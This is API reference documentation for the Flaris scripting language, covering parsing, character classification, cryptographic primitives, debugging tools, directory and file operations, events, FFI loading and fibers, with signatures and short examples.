ToRadixString	`ToRadixString(n:int, base:int) - string|nil`	`n` written in an explicit base 2–36 (lowercase digits, `-` for negatives). `nil` if base is out of range. Inverse of `ParseRadix`.	✓ owned[1]
ParseBool	`ParseBool(s:string) - bool|nil`	Parse `"true"`/`"false"` (case-insensitive) or `"1"`/`"0"`. **Returns `nil`** on anything else - never	✓

Function	Signature	Description	JIT
		raises.	
ParseChar	`ParseChar(s:string) – char|nil`	Parse a one-character string to a char. `nil` if empty, multi-character, or not valid UTF-8.	✓
ParseFloat	`ParseFloat(s:string) – float|nil`	Parse a decimal/exponent string. **Returns `nil`** on failure - never raises. (Accepts `inf` / `nan` and hex floats via C `strtod`.)	✓
ParseInt	`ParseInt(s:string) – int|nil`	Parse a signed integer (optional sign, `0x` / `0b` / `0o` prefix, surrounding whitespace). Full `Math.Int64Min…Math.Int64Max` range. **Returns `nil`** on failure - never raises.	✓
ParseUInt	`ParseUInt(s:string) – int|nil`	Parse a non-negative integer (prefixes allowed) that fits the signed 64-bit slot. **Returns `nil`** on failure - never raises.	✓
ParseRadix	`ParseRadix(s:string, base:int) – int|nil`	Parse `s` in an explicit base 2–36; no `0x` / `0b` / `0o` prefix is applied (so `"FF"` with base 16 is 255). `nil` on malformed input or out-of-range base.	✓
TryParseInt	`TryParseInt(x:any) – int|nil`	Coerce **any** value to int: numbers pass through, strings are parsed, anything else is `nil`. Returns the value or `nil`.	✓
TryParseUInt	`TryParseUInt(x:any) – int|nil`	As `TryParseInt`, rejecting negatives. Returns the value or `nil`.	✓
TryParseFloat	`TryParseFloat(x:any) – float|nil`	Coerce any value to float. Returns the value or `nil`.	✓
TryParseBool	`TryParseBool(s:string) – bool`	**Success predicate**: `true` if `s` parses as a bool (see `ParseBool`), else `false`. Use `ParseBool` to recover the value.	✓
TryParseChar	`TryParseChar(s:string) – bool`	**Success predicate**: `true` if `s` is exactly one valid character, else `false`. Use `ParseChar` to recover the value.	✓

> **Numeric range constants** (`Int32Max`, `FloatEpsilon`, …) live in the `Math` module, alongside `Math.PI` and `Math.NaN`.

Char Module

Namespace: **`Char`**

Character classification and conversion. All functions operate on the full 32-bit Unicode codepoint stored inside a `char` value. Classification functions are Unicode-aware - they recognise letters, digits, and whitespace across all major scripts, not just ASCII (see per-function notes below). 18 of the 20 functions run at native speed inside JIT functions (see R11).

Classification - `char – bool`

Function	Signature	Unicode-aware	Description	JIT
IsAlpha	`IsAlpha(c:char) – bool`	✓	Letter in any major script (Latin, Greek, Cyrillic, Arabic, CJK, Hangul, …).	✓

Function	Signature	Unicode-aware	Description	JIT
IsDigit	`IsDigit(c:char) – bool`	✓	Decimal digit (Unicode Nd category): ASCII 0–9 and script-native digits (Arabic-Indic, Devanagari, Thai, …).	✓
IsAlNum	`IsAlNum(c:char) – bool`	✓	Letter or decimal digit (Unicode-aware for both).	✓
IsUpper	`IsUpper(c:char) – bool`	✓	Uppercase letter (Latin, Greek, Cyrillic, Armenian, Georgian, Fullwidth, …).	✓
IsLower	`IsLower(c:char) – bool`	✓	Lowercase letter (same script coverage as `IsUpper`).	✓
IsCased	`IsCased(c:char) – bool`	✓	Has an upper/lower case distinction - equivalent to `IsUpper(c) || IsLower(c)`.	✓
IsSpace	`IsSpace(c:char) – bool`	✓	Whitespace: ASCII space/tab/newlines plus Unicode spaces (En Space, Em Space, No-Break Space, …).	✓
IsNewline	`IsNewline(c:char) – bool`	✓	Line-ending character: LF `\n`, CR `\r`, VT, FF, NEL U+0085, Line Separator U+2028, Paragraph Separator U+2029.	✓
IsAscii	`IsAscii(c:char) – bool`	-	Codepoint is in the ASCII range (U+0000–U+007F).	✓
IsPunct	`IsPunct(c:char) – bool`	-	ASCII punctuation only (`. , ! ? " ' ; : – ( ) [ ] { }` …).	✓
IsXDigit	`IsXDigit(c:char) – bool`	-	Hexadecimal digit: 0–9, A–F, a–f (ASCII only - hex is an ASCII concept).	✓
IsPrint	`IsPrint(c:char) – bool`	~	Printable: U+0020–U+007E plus codepoints above U+009F.	✓
IsControl	`IsControl(c:char) – bool`	~	C0 and C1 control characters: codepoint < U+0020 or U+007F–U+009F.	✓

Conversion - `char – char`

Function	Signature	Unicode-aware	Description	JIT
ToUpper	`ToUpper(c:char) – char`	✓	Uppercase mapping; non-letters returned unchanged.	✓
ToLower	`ToLower(c:char) – char`	✓	Lowercase mapping; non-letters returned unchanged.	✓
SwapCase	`SwapCase(c:char) – char`	✓	Upper-lower, lower-upper, all other characters unchanged.	✓

Numeric and UTF-8 helpers - `char – int`

Function	Signature	Description	JIT
DigitValue	`DigitValue(c:char) – int`	Decimal value of a Unicode digit (0–9), or **-1** if the character is not a digit. Works for any Nd script block (Arabic-Indic `'٣'` - 3, Devanagari `'९'` - 9, …).	✓
Utf8Len	`Utf8Len(c:char) – int`	Number of UTF-8 bytes needed to encode the codepoint: 1 (ASCII), 2 (U+0080–U+07FF), 3 (U+0800–U+FFFF), 4 (U+10000+).	✓

Codepoint accessors

Function	Signature	Description	JIT
Code	`Code(c:char) – int`	Raw Unicode codepoint as an integer (`'A'` - 65, `'中'` - 0x4E2D).	✓
FromInt	`FromInt(n:int) – char`	An integer code point as a `char`. Outside 0–0x10FFFF it gives U+FFFD, the replacement character; `Convert.ToChar` returns `nil` there instead.	✓

```
// Unicode-aware classification
Char.IsAlpha('ä')   // true  (Latin Extended)
Char.IsAlpha('中')  // true  (CJK)
Char.IsDigit('٣')  // true  (Arabic-Indic digit 3)
Char.IsUpper('A')  // true  (Greek capital Alpha)

// Case conversion
Char.ToUpper('ä')   // 'Ä'
Char.ToLower('A')   // 'α'
Char.SwapCase('A')  // 'a'

// Numeric helpers
Char.DigitValue('٣')           // 3
Char.DigitValue('a')           // -1
Char.Utf8Len('a')              // 1
Char.Utf8Len('ä')              // 2
Char.Utf8Len('中')             // 3
Char.Utf8Len(Char.FromInt(0x1F600))  // 4

// Char calls run natively inside JIT functions
fn count_letters(s: string, n: int): int {
    let count: int = 0;
    for (let i: int = 0; i < n; i++) {
        if (Char.IsAlpha(s[i])) { count++; }
    }
    return count;
}
```

Char instance method syntax

All `Char` functions can also be called directly on a `char` value:

```
let c = String.CharAt("hello", 0);   // 'h'
c.IsAlpha()    // true   - same as Char.IsAlpha(c)
c.Code()       // 104    - same as Char.Code(c)
c.ToUpper()    // 'H'    - same as Char.ToUpper(c)
```

Both forms compile to identical bytecode when the variable is typed (`: char` or inferred from a builtin return). Untyped variables fall back to a runtime dispatch.

Crypto

Namespace: **`Crypto`**

Authenticated encryption (XChaCha20-Poly1305), Ed25519 signatures, X25519 key exchange, Argon2id password hashing, HMAC, and a CSPRNG. Public keys and signatures are hex strings.

Function	Signature	Description	JIT
Argon2	`Argon2(password:string|block, salt:string|block, iterations?:int, memKiB?:int) - string`	Argon2id password hash (64-hex). `salt` >= 8 bytes (16 recommended); `iterations` 1-1024, default 3; `memKiB` memory cost in KiB, 8-1048576 (1 GiB), default 65536 (64 MiB). A value outside those ranges raises `InvalidArgs`.	—
ChaCha20	`ChaCha20(key:string|block, nonce:string|block, counter:int, data:string|block) - block`	The raw ChaCha20 stream cipher: XOR `data` with the keystream under the 32-byte `key`, starting at block `counter`, and return the result as a block; the same call encrypts and decrypts. An 8-byte `nonce` selects the original variant with a 64-bit counter, a 12-byte `nonce` the IETF (RFC 8439) one with a 32-bit counter. No authentication - pair it with `Poly1305`. For ordinary encryption use `Encrypt`, which does both and picks the nonce. Raises on any other key or nonce length, a negative counter, or more than 256 MB.	✓ owned[1]
ConstantTimeEquals	`ConstantTimeEquals(a:string|block, b:string|block) - bool`	Compare two byte sequences in constant time (no early exit). Use instead of `==` when verifying MACs, signatures, or tokens so equality checks don't leak timing. Only length inequality returns early.	✓
Decrypt	`Decrypt(cipher:string|block, cipherLen:int, key:string|block, nonce:string|block, tag:string) - object`	Decrypt `cipherLen` bytes of XChaCha20-Poly1305 `cipher` with the 32-byte `key`, 24-byte `nonce`, and hex `tag` returned by `Encrypt`. Returns `{Ok:bool, Plain:block}`. On authentication failure `Ok` is `false` and `Plain` is zeroed - always check `Ok` before using `Plain`.	—
Ed25519KeyPair	`Ed25519KeyPair() - object`	Generate an Ed25519 (RFC 8032, SHA-512) signing key pair, interoperable with OpenSSH, libsodium and JWT `EdDSA`. The secret key is the 32-byte seed followed by the public key. Keys and signatures made before 1.0.5 used a different hash and do not verify against these. Returns `{PublicKey:string(64 hex), SecretKey:string(128 hex)}`.	—
Ed25519Sign	`Ed25519Sign(secretKey:string, message:string|block) - string`	Sign `message` with a hex secret key; returns a 128-hex signature.	✓ owned[1]
Ed25519Verify	`Ed25519Verify(signature:string, publicKey:string, message:string|block) - bool`	Verify a hex signature against a hex public key and message.	✓
Encrypt	`Encrypt(data:string|block, dataLen:int, key:string|block) - object`	Encrypt `dataLen` bytes of `data` with XChaCha20-Poly1305 under a 32-byte `key`. A fresh 24-byte nonce is generated per call (never supply your own). Returns `{Ok:bool, Cipher:block, Nonce:block, Tag:string(32 hex)}`. Max 256 MB.	—
HmacSha1	`HmacSha1(key:string|block, data:string|block, raw?:bool) - string|block`	Compute HMAC-SHA1 (40-hex; with `raw` true the 20 bytes as a block). Legacy/interop: TOTP/HOTP 2FA, OAuth1, AWS SigV2.	✓ owned[1]

Function	Signature	Description	JIT
HmacSha256	`HmacSha256(key:string|block, data:string|block, raw?:bool) - string|block`	Compute HMAC-SHA256 (64-hex; with `raw` true the 32 bytes as a block).	✓ owned[1]
HmacSha512	`HmacSha512(key:string|block, data:string|block, raw?:bool) - string|block`	Compute HMAC-SHA512 (128-hex; with `raw` true the 64 bytes as a block). E.g. JWT HS512.	✓ owned[1]
Poly1305	`Poly1305(key:string|block, data:string|block) - block`	The Poly1305 one-time authenticator (RFC 8439): a 16-byte tag over `data` under the 32-byte `key`. The key must never authenticate two messages - protocols derive it per message from `ChaCha20`. Compare tags with `ConstantTimeEquals`.	✓ owned[1]
RandomBytes	`RandomBytes(count:int) - block`	Generate `count` cryptographically random bytes (CSPRNG). Raises if `count` is not in `1..67108864`.	✓ owned[1]
X25519KeyPair	`X25519KeyPair() - object`	Generate an X25519 key-exchange key pair. Returns `{PublicKey:string(64 hex), SecretKey:string(64 hex)}`.	—
X25519Shared	`X25519Shared(secretKey:string, peerPublicKey:string) - string`	X25519 ECDH; returns the 64-hex raw shared secret. Hash it (e.g. `Hash.Blake2b`) before using it as a key.	✓ owned[1]

Debug

Namespace: `Debug`

Runtime introspection and assertion tools. Available in all builds; overhead is negligible for non-tracing calls.

Function	Signature	Description	JIT
Assert	`Assert(left:any, right:any, ?message:any) - bool`	Verify `left == right`. On mismatch prints both values (plus optional `message`) and a stack trace, then **ends the program** - not a catchable raise. Inside a host application it raises instead, so the host keeps running. Returns `true` when it holds.	—
AssertTrue	`AssertTrue(condition:any, ?message:any) - bool`	Verify `condition` is truthy. On failure prints it (plus optional `message`) and a stack trace, then **ends the program**. Inside a host application it raises instead, so the host keeps running. Returns `true` when it holds.	—
GuardAddress	`GuardAddress(addr:int)`	Installs an allocator watchpoint that traps when `addr` is touched. Requires `--unsafe`. An editor arms the same watch with a data breakpoint at an address (see *Editor Debugging*).	—
Here	`Here(?label:string)`	Prints the current file, line, and function name to stdout (with an optional `label`).	—
Pool	`Pool()`	Prints allocator statistics and a per-slab dump. Requires `--unsafe` (the dump shows heap addresses).	—
Refs	`Refs(value:any) - int`	Returns `value`'s external reference count (`-1` for tagged immediates, which have none).	—
Stack	`Stack()`	Prints the values on the current operand stack to stdout, top first.	—
StackPtr	`StackPtr() - int`	Returns the current operand-stack depth.	—
Value	`Value(v:any)`	Prints a detailed internal representation of a value. Requires `--unsafe` (the dump shows heap addresses).	—

Directory

Namespace: `Directory`

Filesystem directory operations.

Function	Signature	Description	JIT
Copy	`Copy(src:string, dst:string) - bool`	Recursively copy directory `src` into `dst` (created if missing; existing `dst` is merged into). Symlinks are copied as links, never dereferenced; directory permission bits are applied once a directory's entries are in, so a read-only source copies. `false` if `src` is not a directory, `dst` is `src` or lies inside it, or any entry could not be copied.	—
Create	`Create(path:string) - bool`	Create directory at `path`. Returns `false` if already exists.	—
CreateTemp	`CreateTemp(prefix?:string) - string`	Atomically create a uniquely-named directory in the system temp dir and return its path (`mkdtemp`). Optional name prefix (default `"flaris"`) must not contain path separators. Not auto-removed - pair with `DeleteAll`. `nil` on failure.	—
Delete	`Delete(path:string) - bool`	Delete directory (must be empty).	—
DeleteAll	`DeleteAll(path:string) - bool`	Recursively delete a directory and everything under it (`rm -rf`). Symlinks are removed as links, never followed out of the tree. Refuses an empty path or the filesystem root. `true` only if every entry was removed.	—
Ensure	`Ensure(path:string) - bool`	Create directory (and parents) if not exists; no-op if exists. `true` when `path` is a directory afterwards, `false` otherwise (empty path, a file in the way, no permission).	—
Exists	`Exists(path:string) - bool`	`true` if path exists and is a directory.	—
GetModifiedTime	`GetModifiedTime(path:string) - int|nil`	Returns Unix timestamp of last modification; `nil` if the path is not a directory.	—
Glob	`Glob(pattern:string, followSymlinks?:bool) - array`	Recursive glob: each `/`-separated segment supports `*`, `?`, and `[set]`; a bare `**` segment matches zero or more directory levels (`"src/**/*.fls"`). A segment without wildcards, `.` and `..` included, is a plain path component (`"../src/*.fls"`), and the results keep the pattern's spelling. Returns matching paths (files and directories) relative to the current directory (or absolute if the pattern is). Case-sensitive; wildcards do not match a leading `.` (name the dot explicitly). Depth capped at 64. `followSymlinks` defaults to `true`; pass `false` to keep `**` from descending through symlinked directories (POSIX). Explicitly named path components are always followed - only `**` wildcard descent is affected.	—
List	`List(path:string) - array`	Returns array of all entry names (files + dirs) in `path`.	—
Move	`Move(src:string, dst:string) - bool`	Rename a directory (atomic within one filesystem; fails across filesystems with no copy+delete fallback).	—
ListDirs	`ListDirs(path:string) - array`	Returns array of subdirectory names only (symlinks to directories included).	—
ListFiles	`ListFiles(path:string, filters?:string) - array`	Returns array of immediate **non-directory** entry names (the complement of `ListDirs`; symlinks are followed and a broken one is left out; use `List` for every entry regardless of kind). Optionally filtered by a comma-separated glob list (`"*.txt, *.md"` - full `*`/`?`/`[set]` wildcards, case-	—

Function	Signature	Description	JIT
		insensitive, spaces around each pattern ignored). Empty array if the directory can't be opened. Non-recursive.	

Event

Namespace: `Event`

Signals fibers can wait on. Max 256 events per VM (a shared, fixed pool).

Function	Signature	Description	JIT
Create	`Create() - int`	Claims a new event id (`0..255`), or `-1` if the 256-id pool is exhausted. Always check for `-1` .	✓
Set	`Set(id:int, value?:any)`	Signal the event; optionally attach a value. Wakes **every** fiber waiting on it (broadcast). Raises `IndexOutOfBounds` for an id outside `0..255` , or `InvalidArgs` for an id that was never created.	✓
WaitOne	`WaitOne(id:int, timeoutMs?:int) - any`	Parks the caller until `Set` is called on this event, then returns the value it was set with. With a positive `timeoutMs` it resumes with `nil` once the deadline passes; `0` /omitted waits forever. Raises `IndexOutOfBounds` for an out-of-range id.	—
WaitFor	`WaitFor(ids:array, timeoutMs?:int) - array`	Waits until **all** of the events in `ids` have been set, then returns their values as an array. Use it to start several `ProcessEvent` / `Set` jobs and continue once they've all finished. (An empty list returns `[]` right away.) With a positive `timeoutMs` , if the deadline passes before every event fires it returns `nil` and stops waiting; `0` or omitted waits forever. Raises `IndexOutOfBounds` for an out-of-range id or `InvalidArgs` for a non-int element.	—
Free	`Free(id:int)`	Releases an id back to the pool. Use to reclaim an event you created but never delivered (a dropped job) so the fixed pool is not exhausted. Raises `IndexOutOfBounds` for an out-of-range id.	✓
Reset	`Reset(id:int)`	Clears a claimed event's signalled state and value so it can be `Set` and waited on again, without returning the id to the pool. Raises `IndexOutOfBounds` for an out-of-range id.	✓

Lifecycle: an event is reclaimed automatically once the last fiber waiting on it has been served, so a fan-out `WaitFor` join does not leak ids. An event you `Create` but never deliver stays claimed until you `Free` it. A `Set` is broadcast to every fiber already parked on the event; a fiber that starts waiting **after** the last waiter was served and the id reclaimed will block (one-shot events are not retained) — subscribe your waiters before signalling.

Note: `WaitFor` returns the values sorted by event id, which may differ from the order you listed the ids in. If you need to tell them apart, use the values themselves or the buffer each job wrote — not the array position. On timeout the result is `nil` (distinct from the always-non-nil array a successful join returns).

FFI

Namespace: `Ffi`

Dynamic loading of native shared libraries (`.so` , `.dylib`). Requires `--allow-ffi` (or `--unsafe` , which implies it). FFI calls cross a clean isolation boundary - arguments and return values are marshalled through a structured type system; no VM internals are exposed to native code.

Function	Signature	Description	JIT
Load	`Load(path:string, sha256:string|nil, flags?:int) - pointer`	Load shared library at `path`. When `sha256` is a 64-character hex string, the SHA-256 fingerprint of the library is verified before loading - pass `nil` to skip the check. A digest that is not 64 hex characters is a malformed pin and raises `Exception.ChecksumError` rather than loading unverified, as does a mismatch. SHA verification is optional security hardening; libraries distributed without a known hash should pass `nil`. `flags` may combine `Ffi.LAZY` (default), `Ffi.NOW` and `Ffi.GLOBAL`; ignored on Windows. The plugin's ABI version (see *ABI version* in ffi.md) is verified; an unknown ABI raises `Exception.ChecksumError`, and a library exporting none is loaded with a warning. Returns a handle, or `nil` on failure - see `Ffi.LastError`. Same library is never loaded twice - returns cached handle on repeated calls, and loaded libraries stay mapped for the lifetime of the process.	—
GetFunction	`GetFunction(handle:pointer, name:string, sig?:string) - ffi_function`	Retrieve a named symbol from a loaded library as a callable value. When `sig` is provided, argument count, argument types and return type are validated on every call; a mismatched return raises `Exception.TypeMismatch`, and `nil` is always accepted as a return value regardless of the declared type. Returns `nil` if the symbol is missing or `sig` is malformed - see `Ffi.LastError`. Omitting `sig` disables validation (all types accepted).	—
HasFunction	`HasFunction(handle:pointer, name:string) - bool`	Returns `true` if the named symbol exists in the library. Does not allocate. Use to guard optional symbols.	—
SetCallback	`SetCallback(handle:pointer, name:string, fn:fn) - bool`	Register a Flaris function as a named callback. The library must export `flaris_set_callback`. Callbacks are global - use a lib-specific prefix to avoid name collisions across plugins (e.g. `"mylib_ondata"`).	—
RemoveCallback	`RemoveCallback(handle:pointer, name:string) - bool`	Unregister a previously registered callback by name without unloading the library. Useful for one-shot callbacks.	—
GetVersion	`GetVersion(handle:pointer) - int`	Returns the plugin's version as a `uint32` in `0xMMmmppbb` format. Plugin must export `uint32_t flaris_version(void)`. Returns `0` if symbol not found.	—
Call	`Call(handle:pointer, name:string, ...args) - any`	Resolve and call a named symbol in one step without allocating an `ffi_function` object. Accepts up to 4 extra arguments. The symbol lookup is cached per `(handle, name)`, but the call is still unvalidated - `GetFunction` with a signature is the safer and slightly faster form for hot paths.	—
CallAsync	`CallAsync(fn:ffi_function, args:array) - any`	Runs a **pure** FFI function (from `GetFunction`) on the I/O thread pool so the calling fiber suspends instead of blocking the scheduler. Must be `await`ed. `args` is the call's argument array; block arguments are refused (they alias VM memory and cannot cross threads). The function must be side-effect-free with respect to the VM: no callbacks, no shared mutable state, thread-safe. A declared return type that does not match resolves to `nil`.	—
LastError	`LastError() - string|nil`	Text of the most recent `Load` / `GetFunction` / `Call` failure, or `nil` if the last one succeeded. Those three clear it on entry, so it always describes the most recent call.	—
LAZY	`LAZY - int`	`dlopen` flag: resolve symbols on first use (the default).	—

Function	Signature	Description	JIT
NOW	`NOW - int`	`dlopen` flag: resolve every symbol at load, so a missing symbol fails `Load` instead of crashing on first call.	—
GLOBAL	`GLOBAL - int`	`dlopen` flag: make the library's symbols available to subsequently loaded libraries.	—

`Ffi.Load` path resolution. The name resolves in order: (1) the path as given if it exists; (2) the per-user FFI dir - `~/.flaris/ffi` (POSIX) / `%USERPROFILE%\.flaris\ffi` (Windows), or `$FLARIS_FFI` - where a **bare name** gets the platform extension appended (`Ffi.Load("myplugin")` → `~/.flaris/ffi/myplugin.{dylib,so,dll}`); (3) `<name><ext>` in the working directory; (4) the system loader (so `"libsqlite3.so"` still works). Prefer a bare name and install the library to `~/.flaris/ffi` for portable, path-free loading. See ffi.md.

FFI Type Mapping

Flaris type	FfiObject	Notes
`nil`	`FFIVAL_NIL`	Also what an unsupported or too-deeply-nested value marshals to.
`int`	`FFIVAL_INT` (`ival`)	`int64_t`.
`float`	`FFIVAL_FLOAT` (`fval`)	`double`.
`bool`	`FFIVAL_BOOL` (`ival`)	`0`/`1`.
`char`	`FFIVAL_CHAR` (`ival`)	Unicode code point.
`string`	`FFIVAL_STRING` (`string.data`, `string.length`)	**Arguments borrow** the VM's buffer (`FFI_FLAG_BORROWED`): read it freely during the call, never write it or free it, copy it if you need it afterwards. A string **returned** to the VM must be `malloc`'d - the VM takes ownership.
`block`	`FFIVAL_BLOCK` (`block.memory`)	Zero-copy pointer into VM memory, writable by convention. Never free or reallocate. Size is `block_size * block_count`.
`pointer`	`FFIVAL_POINTER`-shaped `ptr`	Opaque handle (e.g. from `Ffi.Load`).
`array`	`FFIVAL_ARRAY` (`array.elements`)	Contiguous `FfiObject` **values**, not pointers. Deep-copied. Avoid in hot paths.
`object`	`FFIVAL_OBJECT` (`object.pairs`)	Contiguous `FfiKV` pairs, values embedded. Deep-copied. **Argument keys borrow** the VM's key strings under the same rules as string arguments. Avoid in hot paths.
`array` of objects	`FFIVAL_TABLE` (return only)	Rowset: column names once + row-major cells. Converts to the same array-of-row-objects shape, hashing each column name once per table instead of once per row (~1.5x faster to marshal). Prefer for anything row-shaped.
`ffi_function`	`FFIVAL_FUNC` (`fn`)	A C function pointer handed back to script. It carries no signature, so it is always called fully dynamically.

Prefer `int` and `float` for high-frequency callback arguments. Use `block` for bulk data. `string` is acceptable for low-frequency events (errors, lifecycle). `array` and `object` should be avoided in callbacks called at high rate.

Function Signature Format

Signatures passed to `GetFunction` use the syntax:

```
fn(arg_type, arg_type, ...):return_type
```

Types may be unioned with `|`. Zero-argument functions use `fn():return_type`.

Type name	Matches
`any`	Any value
`nil`	Nil
`bool`	Boolean
`int`	Integer (`u8` , `u16` , `u32` , `u64` , `i8` , `i16` , `i32` , `i64` are aliases; as a cast they narrow)
`float`	Float
`char`	Character
`string`	String
`array`	Array
`object`	Object
`block`	Block (raw memory buffer)
`pointer` / `ptr`	Opaque handle returned by a plugin. Script cannot construct one, so declaring `ptr` rejects an int passed in its place
`function` / `fn`	Flaris function (does **not** match an FFI function - use `callable` or `ffi`)
`builtin`	Builtin function
`ffi`	FFI function
`number` / `numeric`	`int|float`
`callable`	`fn|builtin|ffi`

Examples:

```
let fn = Ffi.GetFunction(lib, "add", "fn(int, int):int");
let fn = Ffi.GetFunction(lib, "process", "fn(string, pointer):bool");
let fn = Ffi.GetFunction(lib, "compute", "fn(number):float");
let fn = Ffi.GetFunction(lib, "reset", "fn():nil");
let fn = Ffi.GetFunction(lib, "anything", "fn(any):any");
```

For a complete plugin development guide including helpers, examples, and ownership rules, see `ffi.md` .

Fiber

Namespace: **`Fiber`**

Cooperative green-thread creation, communication, and lifecycle management.

Function	Signature	Description	JIT
Cancel	`Cancel(f:fiber) - bool`	Cancel a fiber: `Exception.Cancelled` is raised at the point it is parked, — so every `finally` it is inside runs on the way out. No `catch` can see it - a cancelled fiber cannot talk itself out of stopping - and any I/O it was parked on is cancelled. Asynchronous: the fiber does its unwinding on a later scheduler pass, so it is not finished the moment `Cancel` returns, and a `finally` that awaits keeps it alive until that await resolves. Whoever is waiting on `await f` receives `Exception.Cancelled` ; with nobody waiting it is discarded, because cancelling is not an error. `true` if the fiber was still live, `false` if it had already finished or was already being cancelled. Raises `OutOfFibers` , leaving `f` untouched, when `f` is parked in an unawaited `yield` and the fiber limit is reached - it needs a turn to unwind.	
Cancello	`CancelIo(f:fiber) - bool`	Abandon `f` 's pending async I/O **without** killing the fiber: it wakes from its `await` with `nil` and `Stream.LastError()` reporting `7` (cancelled), —	

Function	Signature	Description	JIT
		then carries on running. Bytes a cancelled `Stream.ReadAsync` or `Stream.ReadLineAsync` had already received go back to the stream, so the next read sees them. `Stream.ConnectAsync` and `Stream.ConnectTlsAsync` cannot be cancelled; they end at their own `timeoutMs`. Use it to drop a stalled read while still answering the client — `Cancel` by contrast stops the fiber for good. `false` if `f` was not waiting on I/O.	
FromId	`FromId(id:int) - fiber`	Returns the live fiber with that integer ID, or `nil` when none matches (it finished, or the ID was never used). Inside a host application a script only finds fibers of its own context.	—
GetMessage	`GetMessage(f:fiber) - any`	Consume and return the oldest queued message (FIFO), or `nil` if the mailbox is empty.	—
HasMessage	`HasMessage(f:fiber) - bool`	`true` if at least one message is queued for `f`.	—
Id	`Id() - int`	Returns current fiber's integer ID.	—
MessageCount	`MessageCount(f:fiber) - int`	Number of messages currently queued in `f`'s mailbox.	—
IsDone	`IsDone(f:fiber) - bool`	`true` once the fiber has finished - returned, raised, or finished unwinding after `Cancel` (which is asynchronous).	—
Await	`Await(x:any) - any`	The `await` operator as a call, so a plain (non-`async`) function can wait too. Parks the calling fiber until fiber `x` finishes and returns its value; an exception that escaped `x` is raised here instead. Any number of fibers can wait on the same fiber and each receives its value (or its exception). A fiber that has already finished returns its value at once - as often as it is awaited - and one that has not started yet (an `async` call, `Fiber.New`) is started. Passing the `nil` that an `*Async` builtin returns waits for that operation's result, so `Fiber.Await(Stream.ReadLineAsync(s))` reads a line without `await`. Waiting on the current fiber raises.	—
AwaitAll	`AwaitAll(fibers:array) - array`	Start every fiber in `fibers` that has not started yet, so they all run at once, then park until every one has finished and return their values in array order. A fiber that has already finished contributes the value it returned; the same fiber may appear more than once. If any of them ended with an unhandled exception, the first one in array order is raised here once all have finished - a failing fiber does not end the program while it is part of an `AwaitAll`. A fiber that yields runs on until it returns, as with `await`. The array is copied, so changing it meanwhile has no effect. An element that is not a fiber, or is the calling fiber, raises `InvalidArguments` before anything starts. An empty array returns `[]`.	—
New	`New(func:fn ) - fiber`	Create a new fiber (not yet started).	—
Park	`Park(timeoutMs?:int) - nil`	Suspend the current fiber until another fiber calls `Unpark` on it, or until `timeoutMs` has passed (at most an hour, which is also the default). `Park` may also return early - a message arriving, a cancel - so call it in a loop that re-checks what you are waiting for. A parked fiber uses no CPU.	—
Resume	`Resume(f:fiber|nil, detached?:bool) - any`	Schedule `f` to run and yield self. Default (attached): the caller parks until `f` yields/finishes and that value is routed back. `detached=true`: the caller just suspends and `f` runs independently. Passing `nil` (or a finished `f`) returns `nil`; resuming the running fiber itself, or a `detached` that is not a bool, raises `InvalidArgs`. The resume value is delivered later by the scheduler.	—
Run	`Run(func:fn ) - int`	Create and immediately start a detached fiber. Returns its integer ID. Raises `InvalidArguments` if `func` is not a function, and `OutOfFibers` at the fiber limit.	—

Function	Signature	Description	JIT
Unpark	`Unpark(f:fiber) - bool`	Wake `f` from `Park`. `true` if it was parked; `false` if it was not	—
SendMessage	`SendMessage(f:fiber, msg:any) - bool`	Append `msg` to `f`'s bounded FIFO mailbox (depth 64) and wake it if idle/sleeping. `false` if `f` is missing, finished, or its mailbox is full (older messages are kept, not overwritten); `true` otherwise. Non-blocking. Raises `OutOfFibers`, without queueing `msg`, when `f` has to be woken and the fiber limit is reached.	—
SetQuantum	`SetQuantum(f:fiber, quantum:int) - bool`	Override the scheduling quantum for `f` - the number of checkpoints (loop back-edges and function calls) before yielding to the scheduler. Clamped to at most ten times the default quantum; `0` (or a negative value) means "use the default". Inside a host application that set a quantum limit, neither the value nor the default can exceed that limit.	—
GetQuantum	`GetQuantum(f:fiber) - int`	The scheduling quantum in force for `f`, or `0` when it runs on the VM default. A new fiber inherits the quantum of the fiber that created it, so this also reports what a spawned fiber was given.	—
Sleep	`Sleep(ms:int) - nil`	Suspend current fiber for at least `ms` milliseconds (other fibers keep running). Negative `ms` yields immediately.	—
Status	`Status(f:fiber) - int`	Returns status code. Constants: `Fiber.Status.New=0`, `Running=1`, `Suspended=2`, `Finished=3`, `WaitIO=4`, `Yield=5`, `WaitFiber=6`.	—

Fiber instance method syntax

All `Fiber` functions where the fiber is the first argument can be called directly on a `fiber` value:

```
let f = Fiber.New(fn() { /* ... */ });
f.Resume()            // same as Fiber.Resume(f)
f.IsDone()            // same as Fiber.IsDone(f)
f.Await()             // same as Fiber.Await(f)
f.Status()            // same as Fiber.Status(f)
f.Cancel()            // same as Fiber.Cancel(f)
f.HasMessage()        // same as Fiber.HasMessage(f)
f.GetMessage()        // same as Fiber.GetMessage(f)
f.MessageCount()      // same as Fiber.MessageCount(f)
f.SendMessage("hi")   // same as Fiber.SendMessage(f, "hi")
```

Factory functions (`New`, `Run`, `Id`, `Sleep`), `AwaitAll` and `Park` are not available as instance methods. Both forms compile to identical bytecode when the variable is typed (`: fiber` or inferred from a builtin return). Untyped variables fall back to a runtime dispatch.

File

Namespace: **`File`**

File read, write, and metadata operations. A path that is not a string - `nil` included - names no file: every call fails on it as on a missing file, and nothing on disk is touched. `nil` data writes nothing.

A call that fails - `nil` or `false` where it would return a value or `true` - sets `Stream.LastError()` the way a stream call does: `6` the operating system refused (a missing path, a directory, no permission, a full disk), `4` the file is past the call's size limit or memory ran out, `5` the call refuses the request (a file copied onto itself, a

typed number array for `WriteLines`, a negative `Truncate` size). An async call resolves it, to `0` when it succeeds; a synchronous call that succeeds leaves it as it was.

Function	Signature	Description	JIT
AppendLines	`AppendLines(path:string, lines:array) - bool`	As `WriteLines`, appending (the file is created if missing).	—
AppendText	`AppendText(path:string, text:string) - bool`	Append text to the file (created if missing), bytes written verbatim. `false` if it can't be opened or written.	—
Copy	`Copy(src:string, dst:string) - bool`	Copy file from `src` to `dst` (binary, overwriting `dst`). `false` on any open/read/write error, or when `src` and `dst` are the same file (including through a hard or symbolic link) - the file is left untouched. A source that cannot be read as a file (missing, a directory) leaves `dst` untouched.	—
CopyAsync	`CopyAsync(src:string, dst:string) - fiber`	Non-blocking `Copy`. Use with `await`; resolves to `true` on success, `false` on error or when `src` and `dst` are the same file. Other fibers run while the file is copied.	—
